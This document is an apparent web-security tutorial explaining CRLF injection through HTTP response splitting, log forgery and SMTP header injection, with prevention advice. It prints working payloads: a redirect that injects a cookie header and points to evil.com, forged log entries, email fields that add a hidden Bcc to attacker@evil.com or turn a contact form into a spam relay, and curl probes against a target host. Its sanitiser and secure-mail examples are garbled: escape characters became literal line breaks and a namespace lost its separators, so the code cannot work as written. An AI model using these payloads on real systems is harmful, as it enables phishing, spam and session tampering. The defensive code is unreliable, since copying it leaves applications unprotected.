Security
Advanced

CRLF Injection Attacks

Learn how attackers exploit Carriage Return Line Feed (CRLF) characters to manipulate HTTP responses, inject malicious content into logs, and compromise email headers.

📚 Advanced Level⏱️ 18 min read🔒 Security Focus

What is CRLF Injection?

CRLF Injection is a vulnerability that occurs when an attacker can inject Carriage Return (CR, \r, 0x0D) and Line Feed (LF, \n, 0x0A) characters into an application's output. These characters are used to terminate lines in many protocols including HTTP, SMTP, and various log formats.

By injecting CRLF sequences, attackers can manipulate the structure of HTTP responses, forge log entries, inject email headers, and in some cases, achieve cross-site scripting (XSS) or cache poisoning.

CRLF Character Representations

CharacterASCIIHexURL EncodedDescription
\r130x0D%0DCarriage Return
\n100x0A%0ALine Feed
\r\n13,100x0D0A%0D%0ACRLF Sequence

HTTP Response Splitting

HTTP Response Splitting is the most severe form of CRLF injection. It occurs when an attacker can inject CRLF characters into HTTP response headers, allowing them to control the entire HTTP response and potentially inject malicious content.

Basic HTTP Response Splitting

Injecting additional headers into HTTP response

Vulnerable Code Example:

// PHP - Vulnerable redirect function
<?php
$url = $_GET['url'];
header("Location: " . $url);
?>

// The application reflects user input directly in headers

Attack Payload:

GET /redirect.php?url=http://evil.com%0D%0ASet-Cookie:%20admin=true HTTP/1.1
Host: vulnerable.com

# URL decoded payload:
# http://evil.com
Set-Cookie: admin=true

Resulting HTTP Response:

HTTP/1.1 302 Found
Location: http://evil.com
Set-Cookie: admin=true
Content-Type: text/html

<html>...</html>

Log Injection

Log injection occurs when user-controlled data containing CRLF characters is written to log files without proper sanitization. This can lead to log forgery, log poisoning, and in some cases, code execution if logs are processed by other systems.

Log Forgery Attack

Vulnerable Logging Code:

// Java - Vulnerable logging
String username = request.getParameter("username");
logger.info("Login attempt for user: " + username);

// Python - Vulnerable logging
username = request.form['username']
logging.info(f"Login attempt for user: {username}")

Attack Payload:

username=admin%0A[INFO] Login successful for user: admin%0A[INFO] Admin privileges granted

# URL decoded:
# admin
[INFO] Login successful for user: admin
[INFO] Admin privileges granted

Resulting Log Entry:

[INFO] Login attempt for user: admin
[INFO] Login successful for user: admin
[INFO] Admin privileges granted

Advanced Log Injection Techniques

Format String Log Injection:

# If logs are processed with format string functions
username=%n%n%n%n%0A[CRITICAL] System compromised

# Can potentially lead to memory corruption

SMTP Header Injection

SMTP Header Injection occurs when user input is used to construct email headers without proper validation. Attackers can inject additional recipients, modify email content, or send completely different emails.

Email Header Injection Attack

Vulnerable Email Function:

// PHP - Vulnerable mail function
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];

mail($to, $subject, $message, "From: noreply@example.com");

Attack Payload:

email=victim@example.com%0ABcc: attacker@evil.com%0ASubject: Phishing Email
subject=Original Subject%0AContent-Type: text/html%0A%0A<h1>Phishing Content</h1>
message=Original message

# This injects additional headers and content

Resulting Email Headers:

To: victim@example.com
Bcc: attacker@evil.com
Subject: Phishing Email
From: noreply@example.com
Content-Type: text/html

<h1>Phishing Content</h1>

Email Spam Attack

# Inject multiple recipients
email=user@example.com%0ABcc: spam1@evil.com%0ABcc: spam2@evil.com%0ABcc: spam3@evil.com

# Turn contact form into spam relay

Email Content Manipulation

# Replace email content entirely
subject=Ignored%0A%0AThis is the real email content that will be sent instead of the form message.

# Completely different email sent

Attack Vectors

Common Injection Points

  • • HTTP redirect parameters
  • • Custom HTTP headers
  • • Cookie values
  • • Email form fields
  • • Log message parameters
  • • Error message content
  • • User-Agent strings
  • • Referer headers

Encoding Variations

  • • URL encoding: %0D%0A
  • • Double URL encoding: %250D%250A
  • • Unicode encoding: \u000D\u000A
  • • HTML entities:
  • • UTF-8 encoding variations
  • • Mixed encoding combinations

Detection Methods

Manual Testing Techniques

Basic CRLF Testing:

# Test basic CRLF injection
curl "http://target.com/redirect?url=http://evil.com%0D%0ASet-Cookie:%20test=injected"

# Test with different encodings
curl "http://target.com/page?param=value%0A%0AContent-Length:%200"

# Test in various parameters
curl -H "X-Custom-Header: value%0D%0AX-Injected: true" http://target.com

Response Analysis:

  • • Check for additional headers in response
  • • Look for split responses
  • • Verify if injected content appears
  • • Test with proxy tools like Burp Suite

Prevention Strategies

Input Validation and Sanitization

Input Validation Functions:

// PHP - CRLF validation
function validateInput($input) {
    // Remove CRLF characters
    $input = str_replace(array("
", "
", "%0d", "%0a"), '', $input);
    return $input;
}

// Java - CRLF validation
public static String sanitizeInput(String input) {
    return input.replaceAll("[
]", "");
}

// Python - CRLF validation
import re

def sanitize_input(input_str):
    return re.sub(r'[
]', '', input_str)

Email Security

Secure Email Handling:

// PHP - Secure email function
function sendSecureEmail($to, $subject, $message) {
    // Validate and sanitize all inputs
    $to = filter_var($to, FILTER_VALIDATE_EMAIL);
    $subject = str_replace(array("
", "
"), '', $subject);
    $message = str_replace(array("
", "
"), '', $message);
    
    if ($to && $subject && $message) {
        mail($to, $subject, $message, "From: noreply@example.com");
    }
}

// Use email libraries with built-in protection
use PHPMailerPHPMailerPHPMailer;

$mail = new PHPMailer();
$mail->setFrom('noreply@example.com');
$mail->addAddress($to);
$mail->Subject = $subject;
$mail->Body = $message;
$mail->send(); // PHPMailer handles header injection protection

Key Takeaways

  • • CRLF injection can lead to HTTP response splitting, log forgery, and email header injection
  • • Always validate and sanitize user input before using it in headers, logs, or email functions
  • • Use framework-provided functions that handle encoding automatically
  • • Implement proper input validation to reject CRLF characters
  • • Regular security testing should include CRLF injection scenarios
  • • Monitor logs for suspicious patterns that might indicate injection attempts